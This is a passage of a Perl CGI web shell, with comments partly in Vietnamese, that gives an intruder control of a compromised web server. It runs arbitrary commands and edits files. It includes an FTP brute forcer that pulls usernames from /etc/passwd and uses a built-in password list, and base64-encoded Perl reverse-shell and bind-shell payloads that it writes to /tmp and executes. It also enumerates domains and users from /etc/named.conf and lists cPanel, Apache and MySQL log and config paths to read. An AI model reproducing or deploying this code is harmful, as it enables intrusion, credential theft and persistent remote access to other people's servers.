The output of the\r\n\t\t# command is not displayed.\r\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\r\n\t\tchomp(\$CurrentDir = `\$Command`);\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\r\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\r\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\r\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\r\n\t\t\$result .= &RunCmd;\r\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\r\n\t{\r\n\t\t\$result .= &SaveFileForm;\r\n\t}else\r\n\t{\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\r\n\t\t\$result .=&RunCmd;\r\n\t}\r\n\t\$result .= \"</textarea>\";\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------\r\n# run command\r\n#------------------------------------------------------------------------\r\nsub RunCmd\r\n{\r\n\tmy \$result=\"\";\r\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\r\n\t\talarm(\$CommandTimeoutDuration);\r\n\t}\r\n\tif(\$ShowDynamicOutput) # show output as it is generated\r\n\t{\r\n\t\t\$|=1;\r\n\t\t\$Command .= \" |\";\r\n\t\topen(CommandOutput, \$Command);\r\n\t\twhile(<CommandOutput>)\r\n\t\t{\r\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\r\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\r\n\t\t}\r\n\t\t\$|=0;\r\n\t}\r\n\telse # show output after command completes\r\n\t{\r\n\t\t\$result .= &HtmlSpecialChars(\$Command);\r\n\t}\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t}\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# Form Save File \r\n#==============================================================================\r\nsub SaveFileForm\r\n{\r\n\tmy \$result =\"\";\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tsubstr(\$RunCommand,0,5)=\"\";\r\n\tmy \$file=&trim(\$RunCommand);\r\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\r\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\r\n\tmy \$dir=\"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\r\n\tif(-w \$File)\r\n\t{\r\n\t\t\$rows=\"23\"\r\n\t}else\r\n\t{\r\n\t\t\$msg=\"<br><font style='color: yellow;' > Cann't write file!<font><br>\";\r\n\t\t\$rows=\"20\"\r\n\t}\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\r\n\t\$RunCommand = \"edit \$RunCommand\";\r\n\t\$result .= <<END;\r\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\r\n\t<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n\t\$Prompt\r\n\t<input type=\"text\" size=\"40\" name=\"c\">\r\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\r\n\t<br>Command: <run> \$RunCommand </run>\r\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\r\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\r\nEND\r\n\t\r\n\t\$result .= &HtmlSpecialChars(&FileOpen(\$File,0));\r\n\t\$result .= \"</textarea>\";\r\n\t\$result .= \"</form>\";\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# File Open\r\n#==============================================================================\r\nsub FileOpen(\$){\r\n\tmy \$file = shift;\r\n\tmy \$binary = shift;\r\n\tmy \$result = \"\";\r\n\tmy \$n = \"\";\r\n\tif(-f \$file){\r\n\t\tif(open(FILE,\$file)){\r\n\t\t\tif(\$binary){\r\n\t\t\t\tbinmode FILE;\r\n\t\t\t}\r\n\t\t\twhile ((\$n = read FILE, \$data, 1024) != 0) {\r\n\t\t\t\t\$result .= \$data;\r\n\t\t\t}\r\n\t\t\tclose(FILE);\r\n\t\t}\r\n\t}else\r\n\t{\r\n\t\treturn \"Not's a File!\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#==============================================================================\r\n# Save File\r\n#==============================================================================\r\nsub SaveFile(\$)\r\n{\r\n\tmy \$Data= shift ;\r\n\tmy \$File= shift;\r\n\t\$File=\$CurrentDir.\$PathSep.\$File;\r\n\tif(open(FILE, \">\$File\"))\r\n\t{\r\n\t\tbinmode FILE;\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\treturn 1;\r\n\t}else\r\n\t{\r\n\t\treturn 0;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Brute Forcer Form\r\n#------------------------------------------------------------------------------\r\nsub BruteForcerForm\r\n{\r\n\tmy \$result=\"\";\r\n\t\$result .= <<END;\r\n\r\n<table>\r\n\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\n####################################<br>\r\nSimple FTP brute forcer<br>\r\nNote: Only scan from 1 to 3 user :-S<br>\r\n####################################\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\r\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\r\nEND\r\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\r\n\$result .= <<'END';\r\n</textarea></td>\r\n<td>\r\n\r\nPass:<br>\r\n<textarea rows=\"18\" cols=\"30\" name=\"pass\">123pass\r\n123!@#\r\n123admin\r\n123abc\r\n123456admin\r\n1234554321\r\n12344321\r\npass123\r\nadmin\r\nadmincp\r\nadministrator\r\nmatkhau\r\npassadmin\r\np@ssword\r\np@ssw0rd\r\npassword\r\n123456\r\n1234567\r\n12345678\r\n123456789\r\n1234567890\r\n111111\r\n000000\r\n222222\r\n333333\r\n444444\r\n555555\r\n666666\r\n777777\r\n888888\r\n999999\r\n123123\r\n234234\r\n345345\r\n456456\r\n567567\r\n678678\r\n789789\r\n123321\r\n456654\r\n654321\r\n7654321\r\n87654321\r\n987654321\r\n0987654321\r\nadmin123\r\nadmin123456\r\nabcdef\r\nabcabc\r\n!@#!@#\r\n!@#\$%^\r\n!@#\$%^&*(\r\n!@#\$\$#@!\r\nabc123\r\nanhyeuem\r\niloveyou</textarea>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\nSleep:<select name=\"sleep\">\r\n\r\n<option>0</option>\r\n<option>1</option>\r\n<option>2</option>\r\n\r\n<option>3</option>\r\n</select> \r\n<input type=\"submit\" class=\"submit\" value=\"Brute Forcer\"/></td></tr>\r\n</form>\r\n</table>\r\nEND\r\nreturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Brute Forcer\r\n#------------------------------------------------------------------------------\r\nsub BruteForcer\r\n{\r\n\tmy \$result=\"\";\r\n\t\$Server=\$ENV{'SERVER_ADDR'};\r\n\tif(\$in{'user'} eq \"\")\r\n\t{\r\n\t\t\$result .= &BruteForcerForm;\r\n\t}else\r\n\t{\r\n\t\tuse Net::FTP; \r\n\t\t@user= split(/\\n/, \$in{'user'});\r\n\t\t@pass= split(/\\n/, \$in{'pass'});\r\n\t\tchomp(@user);\r\n\t\tchomp(@pass);\r\n\t\t\$result .= \"<br><br>[+] Trying brute \$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\r\n\t\tforeach \$username (@user)\r\n\t\t{\r\n\t\t\tif(\$username ne \"\")\r\n\t\t\t{\r\n\t\t\t\tforeach \$password (@pass)\r\n\t\t\t\t{\r\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \r\n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\r\n\t\t\t\t\t\t\$ftp->quit();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(\$in{'sleep'} ne \"0\")\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}) * 1000);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$ftp->quit();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Backconnect Form\r\n#------------------------------------------------------------------------------\r\nsub BackBindForm\r\n{\r\n\treturn <<END;\r\n\t<br><br>\r\n\r\n\t<table>\r\n\t<tr>\r\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\r\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\r\n\t Port: <input type=\"text\" size=\"6\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\r\n\r\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\r\n\t</form>\r\n\t</tr>\r\n\t<tr>\r\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\r\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\r\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span id=\"ba\">80</span></run></font></td>\r\n\r\n\t</tr>\r\n\t</table>\r\n\r\n\t<br><br>\r\n\t<table>\r\n\t<tr>\r\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\r\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\r\n\r\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\r\n\r\n\t Password: <input type=\"text\" size=\"12\" name=\"bindpass\" value=\"vinakid\"></td>\r\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\r\n\t</form>\r\n\t</tr>\r\n\t<tr>\r\n\t<td colspan=3><font color=#FFFFFF>[+] Testing ....\r\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\r\n\r\n\t</tr>\r\n\t</table><br>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Backconnect use perl\r\n#------------------------------------------------------------------------------\r\nsub BackBind\r\n{\r\n\tuse Socket;\t\r\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\r\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\r\n\r\n\t\$ClientAddr = \$in{'clientaddr'};\r\n\t\$ClientPort = int(\$in{'clientport'});\r\n\tif(\$ClientPort eq 0)\r\n\t{\r\n\t\treturn &BackBindForm;\r\n\t}elsif(!\$ClientAddr eq \"\")\r\n\t{\r\n\t\t\$Data=decode_base64(\$backperl);\r\n\t\tif(-w \"/tmp/\")\r\n\t\t{\r\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\r\n\t\t}\r\n\t\topen(FILE, \">\$File\");\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\tsystem(\"perl \$File \$ClientAddr \$ClientPort\");\r\n\t\tunlink(\$File);\r\n\t\texit 0;\r\n\t}else\r\n\t{\r\n\t\t\$Data=decode_base64(\$bindperl);\r\n\t\tif(-w \"/tmp\")\r\n\t\t{\r\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\r\n\t\t}\r\n\t\topen(FILE, \">\$File\");\r\n\t\tprint FILE \$Data;\r\n\t\tclose FILE;\r\n\t\tsystem(\"perl \$File \$ClientPort\");\r\n\t\tunlink(\$File);\r\n\t\texit 0;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Array List Directory\r\n#------------------------------------------------------------------------------\r\nsub RmDir(\$) \r\n{\r\n\tmy \$dir = shift;\r\n\tif(opendir(DIR,\$dir))\r\n\t{\r\n\t\twhile(\$file = readdir(DIR))\r\n\t\t{\r\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\r\n\t\t\t{\r\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\r\n\t\t\t\tif(-d \$file)\r\n\t\t\t\t{\r\n\t\t\t\t\t&RmDir(\$file);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tunlink(\$file);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tclosedir(DIR);\r\n\t}\r\n}\r\nsub FileOwner(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-e \$file)\r\n\t{\r\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\treturn \"???\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$name=getpwuid(\$uid);\r\n\t\t\t\$group=getgrgid(\$gid);\r\n\t\t\treturn \$name.\"/\".\$group;\r\n\t\t}\r\n\t}\r\n\treturn \"???\";\r\n}\r\nsub ParentFolder(\$)\r\n{\r\n\tmy \$path = shift;\r\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\r\n\tchop(\$path = `\$Comm`);\r\n\treturn \$path;\r\n}\r\nsub FilePerms(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tmy \$ur = \"-\";\r\n\tmy \$uw = \"-\";\r\n\tif(-e \$file)\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\r\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\r\n\t\t\treturn \$ur . \" / \" . \$uw;\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$mode=(stat(\$file))[2];\r\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\r\n\t\t\treturn \$result;\r\n\t\t}\r\n\t}\r\n\treturn \"0000\";\r\n}\r\nsub FileLastModified(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-e \$file)\r\n\t{\r\n\t\t(\$la) = (stat(\$file))[9];\r\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\r\n\t\t\$y = \$y + 1900;\r\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\r\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\r\n\t\treturn \$lmtime;\r\n\t}\r\n\treturn \"???\";\r\n}\r\nsub FileSize(\$)\r\n{\r\n\tmy \$file = shift;\r\n\tif(-f \$file)\r\n\t{\r\n\t\treturn -s \"\$file\";\r\n\t}\r\n\treturn \"0\";\r\n}\r\nsub ParseFileSize(\$)\r\n{\r\n\tmy \$size = shift;\r\n\tif(\$size <= 1024)\r\n\t{\r\n\t\treturn \$size. \" B\";\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(\$size <= 1024*1024) \r\n\t\t{\r\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\r\n\t\t\treturn \$size.\" KB\";\r\n\t\t}\r\n\t\telse \r\n\t\t{\r\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\r\n\t\t\treturn \$size.\" MB\";\r\n\t\t}\r\n\t}\r\n}\r\nsub trim(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string =~ s/^\\s+//;\r\n\t\$string =~ s/\\s+\$//;\r\n\treturn \$string;\r\n}\r\nsub AddSlashes(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string=~ s/\\\\/\\\\\\\\/g;\r\n\treturn \$string;\r\n}\r\nsub TrimSlashes(\$)\r\n{\r\n\tmy \$string = shift;\r\n\t\$string=~ s/\\/\\//\\//g;\r\n\t\$string=~ s/\\\\\\\\/\\\\/g;\r\n\treturn \$string;\r\n}\r\nsub ListDir\r\n{\r\n\tmy \$path = &TrimSlashes(\$CurrentDir.\$PathSep);\r\n\tmy \$result = \"<form name='f' onSubmit=\\\"Encoder('d')\\\" action='\$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' id='d' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\r\n\tif(-d \$path)\r\n\t{\r\n\t\tmy @fname = ();\r\n\t\tmy @dname = ();\r\n\t\tif(opendir(DIR,\$path))\r\n\t\t{\r\n\t\t\twhile(\$file = readdir(DIR))\r\n\t\t\t{\r\n\t\t\t\t\$f=\$path.\$file;\r\n\t\t\t\tif(-d \$f)\r\n\t\t\t\t{\r\n\t\t\t\t\tpush(@dname,\$file);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tpush(@fname,\$file);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tclosedir(DIR);\r\n\t\t}\r\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\r\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\r\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\r\n\t\t<tr style='background-color: #3e3e3e'><th>File Name</th>\r\n\t\t<th width='100'>File Size</th>\r\n\t\t<th width='150'>Owner</th>\r\n\t\t<th width='100'>Permission</th>\r\n\t\t<th width='150'>Last Modified</th>\r\n\t\t<th width='230'>Action</th></tr>\";\r\n\t\tmy \$style=\"notline\";\r\n\t\tmy \$i=0;\r\n\t\tforeach my \$d (@dname)\r\n\t\t{\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$d = &trim(\$d);\r\n\t\t\t\$dirname=\$d;\r\n\t\t\tif(\$d eq \"..\") \r\n\t\t\t{\r\n\t\t\t\t\$d = &ParentFolder(\$path);\r\n\t\t\t}\r\n\t\t\telsif(\$d eq \".\") \r\n\t\t\t{\r\n\t\t\t\tnext;\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\t\$d = \$path.\$d;\r\n\t\t\t}\r\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' class='dir'><a href='?a=gui&d=\".&EncodeDir(\$d).\"'>[ \".\$dirname.\" ]</a></td>\";\r\n\t\t\t\$result .= \"<td>DIR</td>\";\r\n\t\t\t\$result .= \"<td>\".&FileOwner(\$d).\"</td>\";\r\n\t\t\t\$result .= \"<td id='FilePerms_\$i' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\r\n\t\t\t\$result .= \"<td>\".&FileLastModified(\$d).\"</td>\";\r\n\t\t\t\$result .= \"<td><a onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"'); return false; \\\">Rename</a> | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\".&EncodeDir(\$path).\"&remove=\$dirname'>Remove</a></td>\";\r\n\t\t\t\$result .= \"</tr>\";\r\n\t\t\t\$i++;\r\n\t\t}\r\n\t\tforeach my \$f (@fname)\r\n\t\t{\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$file=\$f;\r\n\t\t\t\$f = \$path.\$f;\r\n\t\t\tmy \$action = encode_base64(\"edit \".\$file);\r\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\r\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' class='file'><a href='?a=command&d=\".&EncodeDir(\$path).\"&c=\".\$action.\"'>\".\$file.\"</a></td>\";\r\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\r\n\t\t\t\$result .= \"<td>\".&FileOwner(\$f).\"</td>\";\r\n\t\t\t\$result .= \"<td id='FilePerms_\$i' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\r\n\t\t\t\$result .= \"<td>\".&FileLastModified(\$f).\"</td>\";\r\n\t\t\t\$result .= \"<td><a onclick=\\\"rename_form(\$i,'\$file','f'); return false;\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\".&EncodeDir(\$path).\"&remove=\$file'>Remove</a></td>\";\r\n\t\t\t\$result .= \"</tr>\";\r\n\t\t\t\$i++;\r\n\t\t}\r\n\t\t\$result .= \"</table></div>\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Try to View List User\r\n#------------------------------------------------------------------------------\r\nsub ViewDomainUser\r\n{\r\n\topen (d0mains, '/etc/named.conf') or \$err=1;\r\n\tmy @cnzs = <d0mains>;\r\n\tclose d0mains;\r\n\tmy \$style=\"line\";\r\n\tmy \$result=\"<h3><font style='font: 15pt Verdana;color: #ff9900;'>Domain + User</font></h3>\";\r\n\tif (\$err)\r\n\t{\r\n\t\t\$result .= ('<p>C0uldn\\'t Bypass it , Sorry</p>');\r\n\t\treturn \$result;\r\n\t}else\r\n\t{\r\n\t\t\$result .= '<table id=\"domain\"><tr><th>d0mains</th> <th>User</th></tr>';\r\n\t}\r\n\tforeach my \$one (@cnzs)\r\n\t{\r\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\r\n\t\t{\t\r\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\r\n\t\t\t\$filename= trim(\"/etc/valiases/\".\$1);\r\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\r\n\t\t\t\$result .= '<tr style=\"\$style\" width=50%><td><a href=\"http://'.\$1.'\" target=\"_blank\">'.\$1.'</a></td><td> '.\$owner.'</td></tr>';\r\n\t\t}\r\n\t}\r\n\t\$result .= '</table>';\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# View Log\r\n#------------------------------------------------------------------------------\r\nsub ViewLog\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tif(\$WinNT)\r\n\t{\r\n\t\treturn \"<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>\";\r\n\t}\r\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\r\n\tmy @pathlog=(\t'/usr/local/apache/logs/error_log',\r\n\t\t\t'/usr/local/apache/logs/access_log',\r\n\t\t\t'/usr/local/apache2/conf/httpd.conf',\r\n\t\t\t'/var/log/httpd/error_log',\r\n\t\t\t'/var/log/httpd/access_log',\r\n\t\t\t'/usr/local/cpanel/logs/error_log',\r\n\t\t\t'/usr/local/cpanel/logs/access_log',\r\n\t\t\t'/usr/local/apache/logs/suphp_log',\r\n\t\t\t'/usr/local/cpanel/logs',\r\n\t\t\t'/usr/local/cpanel/logs/stats_log',\r\n\t\t\t'/usr/local/cpanel/logs/access_log',\r\n\t\t\t'/usr/local/cpanel/logs/error_log',\r\n\t\t\t'/usr/local/cpanel/logs/license_log',\r\n\t\t\t'/usr/local/cpanel/logs/login_log',\r\n\t\t\t'/usr/local/cpanel/logs/stats_log',\r\n\t\t\t'/var/cpanel/cpanel.config',\r\n\t\t\t'/usr/local/php/lib/php.ini',\r\n\t\t\t'/usr/local/php5/lib/php.ini',\r\n\t\t\t'/var/log/mysql/mysql-bin.log',\r\n\t\t\t'/var/log/mysql.log',\r\n\t\t\t'/var/log/mysqlderror.log',\r\n\t\t\t'/var/log/mysql/mysql.log',\r\n\t\t\t'/var/log/mysql/mysql-slow.log',\r\n\t\t\t'/var/mysql.log',\r\n\t\t\t'/var/lib/mysql/my.cnf',\r\n\t\t\t'/etc/mysql/my.cnf',\r\n\t\t\t'/etc/my.cnf',\r\n\t\t\t);\r\n\tmy \$i=0;\r\n\tmy \$perms;\r\n\tmy \$sl;\r\n\tforeach my \$log (@pathlog)\r\n\t{\r\n\t\tif(-r \$log)\r\n\t\t{\r\n\t\t\t\$perms=\"OK\";\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\r\n\t\t}\r\n\t\t\$result .=<<END;\r\n\t\t<tr>\r\n\r\n\t\t\t<form action=\"\" method=\"post\" onSubmit=\"Encoder('log\$i')\">\r\n\t\t\t<td><input type=\"text\" id=\"log\$i\" name=\"c\" value=\"tail -10000 \$log | grep '/home'\" size='50'/></td>\r\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\r\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\r\n\t\t\t<input type=\"hidden\" 